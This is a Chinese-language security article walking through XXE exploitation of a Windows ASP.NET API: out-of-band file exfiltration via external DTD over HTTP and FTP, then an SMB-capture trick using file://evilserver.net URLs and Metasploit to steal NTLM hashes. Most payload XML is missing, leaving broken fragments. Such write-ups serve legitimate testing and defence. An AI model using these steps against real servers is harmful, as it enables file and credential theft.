當前位置:
首頁 > 新聞 > 利用xxe漏洞獲取ntlm-domain-hashes 從而攻陷伺服器

利用xxe漏洞獲取ntlm-domain-hashes 從而攻陷伺服器

漏洞復現

我們的目標是互聯網上運行在Windows伺服器上的ASP.NET API。經過一些測試後,我們發現該服務容易遭受XXE攻擊,原因是當使用XML外部實體提供服務時會發生DNS交互。

通常,利用xxe漏洞的一般套路就是讀取應用伺服器賬戶有許可權讀取的文件。

幸運的話,你可以使用外部實體輕易的獲取文件的內容,只要你把外部實體放在伺服器響應中有回顯的位置。

悲催的是,在我們的測試的場景中,我們都無法從伺服器響應中直接得到文件內容,因為外部實體注入導致了500錯誤響應碼(但是實體還是被解析了)。

這種情況下,你就需要一些帶外通道技術來獲取文件內容了,簡而言之,我們需要找到另一種方式來獲取內容,因為在伺服器響應中,我們無法直接看到內容。舉個例子,你可以強制讓後端發送文件內容到你可以控制的伺服器。

不過要實現我們的目標,我們需要使用外部DTD(外部DTD是一個外部XML,你可以在其中為XML模式定義新的實體定義),因為我們的請求中需要用到參數實體(參數實體不允許在XML文檔內部引用)。

我們需要把我們的DTD文檔放到我們可以控制並且伺服器可以讀取的位置,比如互聯網上的公共主機上。不過我們也不知道存在漏洞的伺服器能否通過某種協議讀取到我們公網主機上的文件。讓我們來驗證一下,使用Burp的collaborator模塊(請參考超級棒的collaborator插件):

%xxe;

]>

這個圖片表明了兩條重要信息:

1.可以通過HTTP埠訪問外部公網伺服器,因此我們可以使用外部DTD進行內容提取。

2.我們發現了SSRF漏洞(服務端請求偽造漏洞)。

接著來看看我們如何利用

首先就是把外部DTD(帶參數實體)放置在互聯網上,接著利用XXE漏洞通過HTTP請求來訪問這個文件。

xxe.xml文件:

">

請求:

%xxe;%param1;%exfil;

]>

非常好,我們通過GET請求從伺服器獲取文件到了我們的主機上。但是由於文件內容中的某些字元可能會破壞HTTP語法(並且URL有最大長度的限制),所以這種方法並不高效,並不是所有文件都能通過這種方式獲取到。

一種獲取文件更靈活有效的方法是利用FTP協議,當然了,只有當FTP埠的出站流量沒有被內網路由過濾時才行。

驗證這一點更簡單的方式就是修改我們的DTD文檔並且在我們的伺服器上使用tcpdump過濾器,看看會發生什麼

新建的exfil.dtd文件:

">

非常棒,FTP協議沒有被出站規則過濾,不過,好像有些奇怪…

一番探索之後,我們發現,後端伺服器使用我們XXE payload中的FTP或者HTTP URL模式可以訪問互聯網上的任意埠號。

還有一種協議幾乎所有的XML處理器都支持,那就是file://,這個協議可以用來引用系統本地文件,但是它也能通過UNC路徑來引用網路共享中的文件。

那麼,假如我們使用file://xxe.evilserver.com/xxx.txt 這個url並且在互聯網上開放一個網路共享會發生什麼呢?

我們來啟動滲透測試神器metasploit並利用其中的auxiliary/server/capture/sbm 模塊(當然,你也可以使用Responser.py):

這個模塊會模擬經過身份驗證的SMB服務並且捕獲嘗試連接該服務的客戶端發出的請求(比如NTLM哈希)。

我們的想法是強制存在漏洞的伺服器連接我們惡意的SMB服務並進行身份驗證,這樣就能抓取到哈希值了。

修改一下我們的XXE payload為file://evilserver.net/funny.txt

成功抓取到hash值,詳情請看圖。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

GandCrab v4.1勒索軟體及SMB漏洞利用傳播猜測分析
利用XSS繞過CSRF防禦

TAG:嘶吼RoarTalk |